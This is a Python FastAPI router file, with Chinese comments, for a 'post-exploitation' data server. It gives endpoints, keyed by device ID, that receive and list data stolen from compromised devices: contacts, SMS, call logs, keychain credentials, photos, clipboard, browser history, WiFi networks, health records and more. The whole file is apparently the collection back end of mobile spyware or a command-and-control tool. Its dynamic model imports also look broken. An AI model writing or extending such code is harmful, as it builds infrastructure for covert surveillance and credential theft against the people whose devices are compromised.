"""后渗透数据 API 路由"""

from fastapi import APIRouter, Depends, HTTPException
from sqlalchemy.orm import Session
from typing import List

from database import get_db
import crud, schemas

router = APIRouter(prefix="/api/postexploit", tags=["postexploit"])


# ==================== 联系人 ====================

@router.post("/contacts")
def upload_contacts(contacts: List[schemas.ContactData], db: Session = Depends(get_db)):
    """批量上传联系人数据"""
    results = []
    for contact in contacts:
        # 检查设备是否存在
        device = crud.get_device(db, contact.device_uuid)
        if not device:
            raise HTTPException(status_code=404, detail=f"Device {contact.device_uuid} not found")
        
        result = crud.create_contact(db, contact)
        results.append(result)
    
    return {"ok": True, "count": len(results), "contacts": [r.id for r in results]}


@router.get("/contacts/{device_uuid}")
def get_contacts(device_uuid: str, skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    """获取设备联系人列表"""
    ContactRecord = __import__("..models", fromlist=["ContactRecord"]).ContactRecord
    contacts = db.query(ContactRecord).filter(
        ContactRecord.device_uuid == device_uuid
    ).order_by(ContactRecord.created_at.desc()).offset(skip).limit(limit).all()
    return contacts


# ==================== 短信 ====================

@router.post("/sms")
def upload_sms(sms_list: List[schemas.SMSData], db: Session = Depends(get_db)):
    """批量上传短信数据"""
    results = []
    for sms in sms_list:
        # 检查设备是否存在
        device = crud.get_device(db, sms.device_uuid)
        if not device:
            raise HTTPException(status_code=404, detail=f"Device {sms.device_uuid} not found")
        
        result = crud.create_sms(db, sms)
        results.append(result)
    
    return {"ok": True, "count": len(results), "sms": [r.id for r in results]}


@router.get("/sms/{device_uuid}")
def get_sms(device_uuid: str, skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    """获取设备短信列表"""
    SMSRecord = __import__("..models", fromlist=["SMSRecord"]).SMSRecord
    sms = db.query(SMSRecord).filter(
        SMSRecord.device_uuid == device_uuid
    ).order_by(SMSRecord.date_sent.desc()).offset(skip).limit(limit).all()
    return sms


# ==================== 通话记录 ====================

@router.post("/calls")
def upload_calls(calls: List[schemas.CallData], db: Session = Depends(get_db)):
    """批量上传通话记录"""
    results = []
    for call in calls:
        # 检查设备是否存在
        device = crud.get_device(db, call.device_uuid)
        if not device:
            raise HTTPException(status_code=404, detail=f"Device {call.device_uuid} not found")
        
        result = crud.create_call(db, call)
        results.append(result)
    
    return {"ok": True, "count": len(results), "calls": [r.id for r in results]}


@router.get("/calls/{device_uuid}")
def get_calls(device_uuid: str, skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    """获取设备通话记录"""
    CallRecord = __import__("..models", fromlist=["CallRecord"]).CallRecord
    calls = db.query(CallRecord).filter(
        CallRecord.device_uuid == device_uuid
    ).order_by(CallRecord.date_called.desc()).offset(skip).limit(limit).all()
    return calls


# ==================== 钥匙串 ====================

@router.post("/keychain")
def upload_keychain(keychains: List[schemas.KeychainData], db: Session = Depends(get_db)):
    """批量上传钥匙串数据"""
    results = []
    for keychain in keychains:
        # 检查设备是否存在
        device = crud.get_device(db, keychain.device_uuid)
        if not device:
            raise HTTPException(status_code=404, detail=f"Device {keychain.device_uuid} not found")
        
        result = crud.create_keychain(db, keychain)
        results.append(result)
    
    return {"ok": True, "count": len(results), "keychains": [r.id for r in results]}


@router.get("/keychain/{device_uuid}")
def get_keychains(device_uuid: str, skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    """获取设备钥匙串数据"""
    KeychainRecord = __import__("..models", fromlist=["KeychainRecord"]).KeychainRecord
    keychains = db.query(KeychainRecord).filter(
        KeychainRecord.device_uuid == device_uuid
    ).order_by(KeychainRecord.created_at.desc()).offset(skip).limit(limit).all()
    return keychains


# ==================== 照片 ====================

@router.post("/photos")
def upload_photos(photos: List[schemas.PhotoData], db: Session = Depends(get_db)):
    """批量上传照片数据"""
    results = []
    for photo in photos:
        # 检查设备是否存在
        device = crud.get_device(db, photo.device_uuid)
        if not device:
            raise HTTPException(status_code=404, detail=f"Device {photo.device_uuid} not found")
        
        result = crud.create_photo(db, photo)
        results.append(result)
    
    return {"ok": True, "count": len(results), "photos": [r.id for r in results]}


@router.get("/photos/{device_uuid}")
def get_photos(device_uuid: str, skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    """获取设备照片列表"""
    PhotoRecord = __import__("..models", fromlist=["PhotoRecord"]).PhotoRecord
    photos = db.query(PhotoRecord).filter(
        PhotoRecord.device_uuid == device_uuid
    ).order_by(PhotoRecord.date_taken.desc()).offset(skip).limit(limit).all()
    return photos


# ==================== 剪贴板 ====================

@router.post("/clipboard")
def upload_clipboard(clipboard: schemas.ClipboardData, db: Session = Depends(get_db)):
    """上传剪贴板内容"""
    # 检查设备是否存在
    device = crud.get_device(db, clipboard.device_uuid)
    if not device:
        raise HTTPException(status_code=404, detail=f"Device not found")
    
    ClipboardRecord = __import__("..models", fromlist=["ClipboardRecord"]).ClipboardRecord
    db_clipboard = ClipboardRecord(**clipboard.dict())
    db.add(db_clipboard)
    db.commit()
    db.refresh(db_clipboard)
    
    return {"ok": True, "id": db_clipboard.id}


@router.get("/clipboard/{device_uuid}")
def get_clipboard(device_uuid: str, skip: int = 0, limit: int = 50, db: Session = Depends(get_db)):
    """获取设备剪贴板历史"""
    ClipboardRecord = __import__("..models", fromlist=["ClipboardRecord"]).ClipboardRecord
    clipboards = db.query(ClipboardRecord).filter(
        ClipboardRecord.device_uuid == device_uuid
    ).order_by(ClipboardRecord.timestamp.desc()).offset(skip).limit(limit).all()
    return clipboards


# ==================== 应用列表 ====================

@router.post("/apps")
def upload_apps(apps: List[schemas.AppData], db: Session = Depends(get_db)):
    """批量上传应用列表"""
    results = []
    for app in apps:
        # 检查设备是否存在
        device = crud.get_device(db, app.device_uuid)
        if not device:
            raise HTTPException(status_code=404, detail=f"Device {app.device_uuid} not found")
        
        result = crud.create_app(db, app)
        results.append(result)
    
    return {"ok": True, "count": len(results), "apps": [r.id for r in results]}


@router.get("/apps/{device_uuid}")
def get_apps(device_uuid: str, skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    """获取设备应用列表"""
    AppRecord = __import__("..models", fromlist=["AppRecord"]).AppRecord
    apps = db.query(AppRecord).filter(
        AppRecord.device_uuid == device_uuid
    ).order_by(AppRecord.app_name).offset(skip).limit(limit).all()
    return apps


# ==================== 进程列表 ====================

@router.post("/processes")
def upload_processes(processes: List[schemas.ProcessData], db: Session = Depends(get_db)):
    """批量上传进程列表"""
    results = []
    for process in processes:
        # 检查设备是否存在
        device = crud.get_device(db, process.device_uuid)
        if not device:
            raise HTTPException(status_code=404, detail=f"Device {process.device_uuid} not found")
        
        result = crud.create_process(db, process)
        results.append(result)
    
    return {"ok": True, "count": len(results), "processes": [r.id for r in results]}


@router.get("/processes/{device_uuid}")
def get_processes(device_uuid: str, skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    """获取设备进程列表"""
    ProcessRecord = __import__("..models", fromlist=["ProcessRecord"]).ProcessRecord
    processes = db.query(ProcessRecord).filter(
        ProcessRecord.device_uuid == device_uuid
    ).order_by(ProcessRecord.created_at.desc()).offset(skip).limit(limit).all()
    return processes


# ==================== WiFi 网络 ====================

@router.post("/wifi")
def upload_wifi_networks(wifi_networks: List[schemas.WiFiData], db: Session = Depends(get_db)):
    """批量上传WiFi网络数据"""
    results = []
    for wifi in wifi_networks:
        # 检查设备是否存在
        device = crud.get_device(db, wifi.device_uuid)
        if not device:
            raise HTTPException(status_code=404, detail=f"Device {wifi.device_uuid} not found")
        
        result = crud.create_wifi(db, wifi)
        results.append(result)
    
    return {"ok": True, "count": len(results), "wifi_networks": [r.id for r in results]}


@router.get("/wifi/{device_uuid}")
def get_wifi_networks(device_uuid: str, skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    """获取设备WiFi网络列表"""
    WiFiRecord = __import__("..models", fromlist=["WiFiRecord"]).WiFiRecord
    wifi_networks = db.query(WiFiRecord).filter(
        WiFiRecord.device_uuid == device_uuid
    ).order_by(WiFiRecord.is_saved.desc(), WiFiRecord.ssid).offset(skip).limit(limit).all()
    return wifi_networks


# ==================== 浏览器历史 ====================

@router.post("/browser_history")
def upload_browser_history(history_list: List[schemas.BrowserHistoryData], db: Session = Depends(get_db)):
    """批量上传浏览器历史"""
    results = []
    for history in history_list:
        # 检查设备是否存在
        device = crud.get_device(db, history.device_uuid)
        if not device:
            raise HTTPException(status_code=404, detail=f"Device {history.device_uuid} not found")
        
        result = crud.create_browser_history(db, history)
        results.append(result)
    
    return {"ok": True, "count": len(results), "history": [r.id for r in results]}


@router.get("/browser_history/{device_uuid}")
def get_browser_history(device_uuid: str, skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    """获取设备浏览器历史"""
    BrowserHistoryRecord = __import__("..models", fromlist=["BrowserHistoryRecord"]).BrowserHistoryRecord
    history = db.query(BrowserHistoryRecord).filter(
        BrowserHistoryRecord.device_uuid == device_uuid
    ).order_by(BrowserHistoryRecord.last_visited.desc()).offset(skip).limit(limit).all()
    return history


# ==================== 日历事件 ====================

@router.post("/calendar")
def upload_calendar_events(events: List[schemas.CalendarEventData], db: Session = Depends(get_db)):
    """批量上传日历事件"""
    results = []
    for event in events:
        # 检查设备是否存在
        device = crud.get_device(db, event.device_uuid)
        if not device:
            raise HTTPException(status_code=404, detail=f"Device {event.device_uuid} not found")
        
        result = crud.create_calendar_event(db, event)
        results.append(result)
    
    return {"ok": True, "count": len(results), "events": [r.id for r in results]}


@router.get("/calendar/{device_uuid}")
def get_calendar_events(device_uuid: str, skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    """获取设备日历事件"""
    CalendarEvent = __import__("..models", fromlist=["CalendarEvent"]).CalendarEvent
    events = db.query(CalendarEvent).filter(
        CalendarEvent.device_uuid == device_uuid
    ).order_by(CalendarEvent.start_date.desc()).offset(skip).limit(limit).all()
    return events


# ==================== 笔记 ====================

@router.post("/notes")
def upload_notes(notes: List[schemas.NoteData], db: Session = Depends(get_db)):
    """批量上传笔记"""
    results = []
    for note in notes:
        # 检查设备是否存在
        device = crud.get_device(db, note.device_uuid)
        if not device:
            raise HTTPException(status_code=404, detail=f"Device {note.device_uuid} not found")
        
        result = crud.create_note(db, note)
        results.append(result)
    
    return {"ok": True, "count": len(results), "notes": [r.id for r in results]}


@router.get("/notes/{device_uuid}")
def get_notes(device_uuid: str, skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    """获取设备笔记"""
    NoteRecord = __import__("..models", fromlist=["NoteRecord"]).NoteRecord
    notes = db.query(NoteRecord).filter(
        NoteRecord.device_uuid == device_uuid
    ).order_by(NoteRecord.modified_date.desc()).offset(skip).limit(limit).all()
    return notes


# ==================== 健康数据 ====================

@router.post("/health")
def upload_health_data(health_data_list: List[schemas.HealthData], db: Session = Depends(get_db)):
    """批量上传健康数据"""
    results = []
    for health_data in health_data_list:
        # 检查设备是否存在
        device = crud.get_device(db, health_data.device_uuid)
        if not device:
            raise HTTPException(status_code=404, detail=f"Device {health_data.device_uuid} not found")
        
        result = crud.create_health_data(db, health_data)
        results.append(result)
    
    return {"ok": True, "count": len(results), "health_data": [r.id for r in results]}


@router.get("/health/{device_uuid}")
def get_health_data(device_uuid: str, skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    """获取设备健康数据"""
    HealthRecord = __import__("..models", fromlist=["HealthRecord"]).HealthRecord
    health_data = db.query(HealthRecord).filter(
        HealthRecord.device_uuid == device_uuid
    ).order_by(HealthRecord.start_date.desc()).offset(skip).limit(limit).all()
    return health_data